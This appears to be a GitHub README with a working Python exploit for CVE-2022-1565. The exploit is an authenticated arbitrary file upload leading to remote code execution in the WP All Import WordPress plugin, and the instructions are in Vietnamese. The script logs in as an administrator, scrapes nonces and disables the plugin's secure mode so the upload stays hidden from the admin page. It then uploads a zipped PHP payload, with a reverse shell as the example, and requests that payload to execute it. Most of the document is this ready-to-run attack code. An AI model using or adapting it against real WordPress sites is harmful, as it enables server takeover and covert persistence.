README.md
Rendering markdown...
# Khai thác Tiêu đề: Plugin WordPress WP All Import <= 3.6.7 - Thực thi mã từ xa (RCE) (Đã xác thực)
# Ngày: 05/11/2022
# Khai thác Tác giả:Việt Hùng (https://github.com/phanthibichtram12)
# Trang chủ của nhà cung cấp: https://www.wpallimport.com/
#Link phần mềm: https://wordpress.org/plugins/wp-all-import/advanced/ (kéo xuống chọn phiên bản)
# Phiên bản: <= 3.6.7 (đã thử nghiệm: 3.6.7)
# Đã thử nghiệm trên: WordPress 6.1 (không phụ thuộc vào hệ điều hành vì việc khai thác này KHÔNG cung cấp tải trọng)
#CVE: CVE-2022-1565
#!/usr/bin/python3
import requests
import re
import os
import warnings
# CẢNH BÁO: Việc khai thác này KHÔNG bao gồm tải trọng.
# Ngoài ra, hãy đảm bảo rằng bạn đã có một số thông tin đăng nhập hợp lệ của quản trị viên. Việc khai thác này cần có tài khoản quản trị viên để hoạt động.
# Nếu một tệp có cùng tên với tải trọng đã có trên máy chủ, quá trình tải lên sẽ ghi đè lên nó
#
# Xin lưu ý rằng tôi KHÔNG phải là nhà nghiên cứu đã tìm ra lỗ hổng này
# # # # # MÔ TẢ LỖI LỖI LỖI # # # # #
# Plugin WP All Import dễ bị tấn công khi tải lên tệp tùy ý do thiếu xác thực loại tệp thông qua tệp wp_all_import_get_gz.php ở các phiên bản lên đến và bao gồm 3.6.7.
# Điều này giúp những kẻ tấn công đã được xác thực, có quyền cấp quản trị viên trở lên, có thể tải lên các tệp tùy ý trên máy chủ của trang web bị ảnh hưởng, điều này có thể giúp thực thi mã từ xa.
# # # # # CÁCH KHAI THÁC HOẠT ĐỘNG # # # # #
#1. Chuẩn bị file zip:
# - tạo tệp PHP với tải trọng của bạn (ví dụ: shell đảo ngược)
# - đặt biến "payload_file_name" bằng tên của tệp này (ví dụ: "shell.php")
# - tạo một tệp zip có tải trọng
# - đặt biến "zip_file_to_upload" bằng PATH của tệp này (ví dụ: "/root/shell.zip")
#
# 2. Đăng nhập bằng tài khoản quản trị viên:
# - đặt biến "target_url" bằng URL cơ sở của mục tiêu (KHÔNG kết thúc chuỗi bằng dấu gạch chéo /)
# - đặt biến "admin_user" bằng tên người dùng của tài khoản quản trị viên
# - đặt biến "admin_pass" bằng mật khẩu của tài khoản quản trị viên
#
# 3. Lấy wpnonce bằng phương thức get_wpnonce_upload_file()
# - thực tế có 2 loại wpnonce:
# - wpnonce đầu tiên sẽ được truy xuất bằng phương thức get_wpnonce_edit_settings() bên trong lớp PluginSetting.
# WPnonce này cho phép chúng tôi thay đổi cài đặt plugin (kiểm tra bước 4)
# - wpnonce thứ hai sẽ được truy xuất bằng phương thức get_wpnonce_upload_file() bên trong lớp PluginSetting.
# WPnonce này cho phép chúng ta upload file lên
#
# 4. Kiểm tra xem chế độ bảo mật plugin đã được bật hay chưa bằng phương thức check_if_secure_mode_is_enabled() bên trong lớp PluginSetting
# - nếu Chế độ bảo mật được bật, nội dung zip sẽ được đặt trong một thư mục có tên ngẫu nhiên.
# Việc khai thác sẽ vô hiệu hóa Chế độ bảo mật.
# Bằng cách tắt Chế độ bảo mật, nội dung zip sẽ được đưa vào thư mục chính (kiểm tra biến payload_url).
# Phương thức được gọi để bật và tắt Chế độ bảo mật là set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str)
# - nếu Chế độ bảo mật KHÔNG được bật, việc khai thác sẽ tải tệp lên nhưng sau đó nó sẽ KHÔNG bật Chế độ bảo mật.
#
# 5. Tải file lên bằng phương thức upload_file(wpnonce_upload_file: str)
# - sau khi tải lên, máy chủ sẽ trả lời bằng HTTP 200 OK nhưng điều đó không có nghĩa là quá trình tải lên đã hoàn tất thành công.
# Phản hồi sẽ chứa JSON trông như thế này:
# {"jsonrpc":2.0","error":{"code":102,"message": Vui lòng xác minh rằng tệp bạn tải lên là tệp ZIP hợp lệ."},"is_valid":false,"id ":"nhận dạng"}
# Như bạn có thể thấy, nó báo có lỗi với mã 102 nhưng theo kiểm tra tôi đã thực hiện thì quá trình tải lên đã hoàn tất
#
# 6. Kích hoạt lại Chế độ bảo mật nếu nó được bật bằng phương thức switch_back_to_secure_mode()
#
# 7. Kích hoạt payload bằng phương thức activate_payload()
# - bạn có thể xác định phương thức để kích hoạt tải trọng.
# Lý do đằng sau sự lựa chọn này là việc khai thác này KHÔNG cung cấp bất kỳ tải trọng nào.
# Vì bạn có thể sử dụng tải trọng tùy chỉnh nên bạn có thể muốn kích hoạt nó bằng yêu cầu HTTP POST thay vì yêu cầu HTTP GET hoặc bạn có thể muốn truyền tham số
# # # # # TẠI SAO KHAI THÁC KHAI THÁC CHẾ ĐỘ AN TOÀN? # # # # #
# Theo PoC của lỗ hổng này do WPSCAN cung cấp, chúng tôi có thể truy xuất các tệp đã tải lên bằng cách truy cập "trang Nhập được quản lý"
# Tôi không biết tại sao nhưng sau khi tải lên bất kỳ tệp nào, tôi không thể thấy tệp đã tải lên trong trang đó (có thể cần có phiên bản Pro?)
# Tôi phải tìm cách giải quyết và tôi đã làm như vậy bằng cách khai thác tùy chọn này.
#Trang WPSCAN: https://wpscan.com/vulnerability/578093db-a025-4148-8c4b-ec2df31743f7
#
# CẬP NHẬT ngày 06 tháng 11 năm 2022: trong khi thử nghiệm, tôi nhận thấy rằng tôi đang tải lên một tệp XML bị lỗi và đó là lý do tại sao tệp đó không hiển thị trong "trang Nhập được quản lý"
# Dù sao, cách tắt chế độ bảo mật này "ẩn" hơn một chút vì nội dung tải lên không hiển thị trên trang quản trị.
# Nếu bạn muốn xem nội dung tải lên trên trang quản trị thì phải thực hiện thêm nhiều bước.
# # # # # BẤT KỲ VẤN ĐỀ NÀO KHI KHAI THÁC? # # # # #
# Để việc khai thác hoạt động, vui lòng xem xét những điều sau:
# 1. kiểm tra target_url và thông tin đăng nhập của quản trị viên
# 2. kiểm tra đường dẫn của tệp zip và tên của tải trọng (chúng có thể khác nhau)
# 3. nếu bạn đang kiểm tra cục bộ, hãy thử đặt verify_ssl_certificate thành Sai
# 4. bạn có thể sử dụng print_response(http_response) để điều tra thêm
# Configure the following variables:
target_url = "https://vulnerable.wp/wordpress"
admin_user = "admin"
admin_pass = "password"
zip_file_to_upload = "/shell.zip"
payload_file_name = "shell.php"
verify_ssl_certificate = True
suppress_warnings = False
# KHÔNG thay đổi các biến sau
wp_login_url = target_url + "/wp-login.php"
wp_all_import_page_settings = target_url + "/wp-admin/admin.php?page=pmxi-admin-settings"
payload_url = target_url + "/wp-content/uploads/wpallimport/uploads/" + payload_file_name
re_enable_secure_mode = False
session = requests.Session()
# Lớp này giúp truy xuất các cài đặt plugin, bao gồm (các) nonce được sử dụng để thay đổi cài đặt và tải tệp lên.
class PluginSetting:
# Regular Expression patterns
pattern_setting_secure_mode = r'<input[a-zA-Z0-9="_\- ]*id="secure"[a-zA-Z0-9="_\-/ ]*>'
pattern_wpnonce_edit_settings = r'<input[a-zA-Z0-9="_\- ]*id="_wpnonce_edit\-settings"[a-zA-Z0-9="_\- ]*value="([a-zA-Z0-9]+)"[a-zA-Z0-9="_\-/ ]*>'
pattern_wpnonce_upload_file = r'wp_all_import_security[ ]+=[ ]+["\']{1}([a-zA-Z0-9]+)["\']{1};'
http_response: requests.Response
is_secure_mode_enabled: bool
wpnonce_edit_settings: str
wpnonce_upload_file: str
def __init__(self, http_response: requests.Response):
self.http_response = http_response
self.check_if_secure_mode_is_enabled()
self.retrieve_wpnonce_edit_settings()
self.retrieve_wpnonce_upload_file()
def check_if_secure_mode_is_enabled(self):
regex_search = re.search(self.pattern_setting_secure_mode, self.http_response.text)
if not regex_search:
print("Something went wrong: could not retrieve plugin settings. Are you an administrator?")
exit()
self.is_secure_mode_enabled = "checked" in regex_search.group()
def retrieve_wpnonce_edit_settings(self):
regex_search = re.search(self.pattern_wpnonce_edit_settings, self.http_response.text)
if not regex_search:
print("Something went wrong: could not retrieve _wpnonce_edit-settings parameter. Are you an administrator?")
exit()
self.wpnonce_edit_settings = regex_search.group(1)
def retrieve_wpnonce_upload_file(self):
regex_search = re.search(self.pattern_wpnonce_upload_file, self.http_response.text)
if not regex_search:
print("Something went wrong: could not retrieve the upload wpnonce from wp_all_import_security variable")
exit()
self.wpnonce_upload_file = regex_search.group(1)
def wp_login():
data = { "log" : admin_user, "pwd" : admin_pass, "wp-submit" : "Log in", "redirect_to" : wp_all_import_page_settings, "testcookie" : 1 }
login_cookie = { "wordpress_test_cookie" : "WP Cookie check" }
print("Trying to login...")
response = session.post(url=wp_login_url, data=data, cookies=login_cookie, allow_redirects=False, verify=verify_ssl_certificate)
if response.status_code == 302:
print("Logged in successfully!")
return
# print_response(response) # for debugging
print("Login failed. If the credentials are correct, try to print the response to investigate further.")
exit()
def set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) -> requests.Response:
if set_to_enabled:
print("Enabling secure mode...")
else:
print("Disabling secure mode...")
print("Edit settings wpnonce value: " + wpnonce)
data = { "secure" : (1 if set_to_enabled else 0), "_wpnonce_edit-settings" : wpnonce, "_wp_http_referer" : wp_all_import_page_settings, "is_settings_submitted" : 1 }
response = session.post(url=wp_all_import_page_settings, data=data, verify=verify_ssl_certificate)
if response.status_code == 403:
print("Something went wrong: HTTP Status code is 403 (Forbidden). Wrong wpnonce?")
# print_response(response) # for debugging
exit()
return response
def switch_back_to_secure_mode():
print("Re-enabling secure mode...")
response = session.get(url=wp_all_import_page_settings)
plugin_setting = PluginSetting(response)
if plugin_setting.is_secure_mode_enabled:
print("Secure mode is already enabled")
return
response = set_plugin_secure_mode(set_to_enabled=True,wpnonce=plugin_setting.wpnonce_edit_settings)
new_plugin_setting = PluginSetting(response)
if not new_plugin_setting.is_secure_mode_enabled:
print("Something went wrong: secure mode has not been re-enabled")
# print_response(response) # for debugging
exit()
print("Secure mode has been re-enabled!")
def get_wpnonce_upload_file() -> str:
global re_enable_secure_mode
print("Checking if secure mode is enabled...")
response = session.get(url=wp_all_import_page_settings)
plugin_setting = PluginSetting(response)
if not plugin_setting.is_secure_mode_enabled:
re_enable_secure_mode = False
print("Insecure mode is already enabled!")
return plugin_setting.wpnonce_upload_file
print("Secure mode is enabled. The script will disable secure mode for the upload, then it will be re-enabled.")
response = set_plugin_secure_mode(set_to_enabled=False, wpnonce=plugin_setting.wpnonce_edit_settings)
new_plugin_setting = PluginSetting(response)
if new_plugin_setting.is_secure_mode_enabled:
print("Something went wrong: secure mode has not been disabled")
# print_response(response) # for debugging
exit()
print("Secure mode has been disabled!")
re_enable_secure_mode = True
return new_plugin_setting.wpnonce_upload_file
def upload_file(wpnonce_upload_file: str):
print("Uploading file...")
print("Upload wpnonce value: " + wpnonce_upload_file)
zip_file_name = os.path.basename(zip_file_to_upload)
upload_url = wp_all_import_page_settings + "&action=upload&_wpnonce=" + wpnonce_upload_file
files = { "async-upload" : (zip_file_name, open(zip_file_to_upload, 'rb'))}
data = { "name" : zip_file_name }
response = session.post(url=upload_url, files=files, data=data)
if response.status_code == 200:
print("Server replied with HTTP 200 OK. The upload should be completed.")
print("Payload should be here: " + payload_url)
print("If you can't find the payload at this URL, try to print the response to investigate further")
# print_response(response) # for debugging
return 1
else:
print("Something went wrong during the upload. Try to print the response to investigate further")
# print_response(response) # for debugging
return 0
def activate_payload():
print("Activating payload...")
response = session.get(url=payload_url)
if response.status_code != 200:
print("Something went wrong: could not find payload at " + payload_url)
# print_response(response) # for debugging
return
def print_response(response:requests.Response):
print(response.status_code)
print(response.text)
# Entry Point
def Main():
if suppress_warnings:
warnings.filterwarnings("ignore")
print("Target: " + target_url)
print("Credentials: " + admin_user + ":" + admin_pass)
# Do the login
wp_login()
# Retrieve wpnonce for upload.
# It disables Secure Mode if needed, then returns the wpnonce
wpnonce_upload_file = get_wpnonce_upload_file()
# Upload the file
file_uploaded = upload_file(wpnonce_upload_file)
# Re-enable Secure Mode if needed
if re_enable_secure_mode:
switch_back_to_secure_mode()
# Activate the payload
if file_uploaded:
activate_payload()
Main()